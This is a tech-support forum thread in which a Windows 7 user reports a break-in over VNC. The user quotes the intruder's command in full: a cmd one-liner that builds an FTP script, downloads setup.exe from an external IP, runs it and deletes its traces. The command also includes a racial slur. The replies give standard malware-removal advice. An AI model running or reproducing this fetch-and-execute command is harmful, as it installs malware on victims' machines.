System hacked somehow - what to do?

Mancastronaut

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Strangest thing - last couple of days, whenever I have VNCd into my HTPC the task manager has been open. It's a new build, so I assumed it was just a quirk and I would get around to fixing it...

This morning, I VNC in and the Run window is open with a message 'u got owned' and the following command had been run previously:

"cmd /c echo open 202.82.202.142 21 >> ik &echo user nigga temp >> ik &echo binary >> ik &echo get setup.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &setup.exe &exit"

Now Windows Defender is popping up with a severe trojan threat: TrojanDownloader:BATFtper.gen

Obviously I have removed it, bit WTF? How did this get past Windows Firewall and Windows Defender in the first place?
 

My Computer My Computer

OS
Win 7 64bit
Depending on what VNC program you used and whether you set up a secure pipe within, basic VNC is unsecure and open to abuse. It's likely that the firewall and Windows Defender will have been 'told' to open a port to allow the VNC to work.

Download Malwarebytes Anti-Malware and run a full scan...

Malwarebytes' Anti-Malware (MBAM)
Please go here: Malwarebytes' Anti-Malware Free Download and Reviews - Fileforum and download Malwarebytes Anti-Malware and save it to your desktop.
  • Make sure you are connected to the Internet.
  • Double-click on mbam-setup.exe to install the application.
  • When the installation begins, follow the prompts and do not make any changes to default settings.
  • When installation has finished, make sure you leave both of these checked:
    • Update Malwarebytes' Anti-Malware
    • Launch Malwarebytes' Anti-Malware
  • Then click Finish.
  • MBAM will automatically start and you will be asked to update the program before performing a scan. If an update is found, the program will automatically update itself. Press the OK button to close that box and continue. If you encounter any problems while downloading the updates, manually download them from >here< and just double-click on mbam-rules.exe to install.
  • On the Scanner tab:
    • Select "Perform Full Scan" then click on the Scan button.
  • If asked to select the drives to scan, leave all the drives selected and click on the Start Scan button.
  • The scan will begin and "Scan in progress" will show at the top. It may take some time to complete so please be patient.
  • When the scan is finished, a message box will say "The scan completed successfully. Click 'Show Results' to display all objects found".
  • Click OK to close the message box and continue with the removal process.
  • Back at the main Scanner screen, click on the Show Results button to see a list of any malware that was found.
  • Make sure that all items are ticked/checked except items in the C:\System Volume Information folder and click on Remove Selected.
  • When removal is completed, a log report will open in Notepad and you may be prompted to restart your computer. (see Note below)
  • The log is automatically saved and can be viewed by clicking the Logs tab in MBAM.
  • Copy and paste the contents of that report in your next reply and exit MBAM.
Note: If MBAM encounters a file that is difficult to remove, you will be presented with 1 of 2 prompts. Click OK to either and let MBAM proceed with the disinfection process. If asked to restart the computer, please do so immediately. Failure to reboot will prevent MBAM from removing all the malware.

This Trojan downloader (BATFtper.gen) is linked to rootkit activity therefore your machine has likely been compromised and there is no way to be sure the computer can ever be trusted again. It is dangerous and incorrect to assume the computer is secure even if the malware appears to have been removed. In some instances an infection may have caused so much damage to your system that it cannot be completely cleaned or repaired so you can never be sure that you have completely removed a rootkit. The malware may leave so many remnants behind that security tools cannot find them. Tools that claim to be able to remove rootkits cannot guarantee that all traces of it will be removed. Many experts in the security community believe that once infected with this type of malware, the best course of action is to wipe the drive clean, reformat and reinstall the OS. Please read:
Vino
 

My Computer My Computer

OS
Windows 7 Pro
You may want to consider d/l ing Microsoft Security Essentials, once it's updated, do a full system scan. Security Essentials combines Defender functions with real time virus protection.

http://www.microsoft.com/security_essentials/

It would be a good idea to do a full system scan to be sure you've removed the entire infection. Anytime you have had an infection, assuming you've removed without throughly checking the system can lead to some nasty surprises down the road.

Also, a scan with Microsoft Malicious Software Removal Tool on a regular basis would be a good idea.

http://www.microsoft.com/security/pc-security/malware-removal.aspx
 

My Computer My Computer

Computer type
PC/Desktop
Computer Manufacturer/Model Number
Dell Hell oh Well
OS
Win 7 32 Home Premium, Win 7 64 Pro, Win 8.1, Win 10
CPU
Intel Core 2 Duo 2.93GHz
Memory
Not much with my ADHD
Graphics Card(s)
ATI Radeon HD 4350
Monitor(s) Displays
24" HDTV/Monitor
Screen Resolution
Blurry after a Scotch or 2
Hard Drives
1 HDD 250 GB, 1 HDD 1 TB, 3 - 1 TB Externals
Case
Don't get on my case...man :D
Cooling
I have an Air Conditioner & Diet Pepsi
Keyboard
Saitek Cyborg
Mouse
10 yr old MS optical mouse that still works
Internet Speed
Never fast enough
Antivirus
Various
Browser
Various
Format and reinstall. Why take chances on something that has been compromised?
 

My Computer My Computer

Computer Manufacturer/Model Number
Self-Built in July 2009
OS
Windows 7 Ultimate x64
CPU
Intel Q9550 2.83Ghz OC'd to 3.40Ghz
Motherboard
Gigabyte GA-EP45-UD3R rev. 1.1, F12 BIOS
Memory
8GB G.Skill PI DDR2-800, 4-4-4-12 timings
Graphics Card(s)
EVGA 1280MB Nvidia GeForce GTX570
Sound Card
Realtek ALC899A 8 channel onboard audio
Monitor(s) Displays
23" Acer x233H
Screen Resolution
1920x1080
Hard Drives
Intel X25-M 80GB Gen 2 SSD
Western Digital 1TB Caviar Black, 32MB cache. WD1001FALS
PSU
Corsair 620HX modular
Case
Antec P182
Cooling
stock
Keyboard
ABS M1 Mechanical
Mouse
Logitech G9 Laser Mouse
Internet Speed
15/2 cable modem
Other Info
Windows and Linux enthusiast. Logitech G35 Headset.
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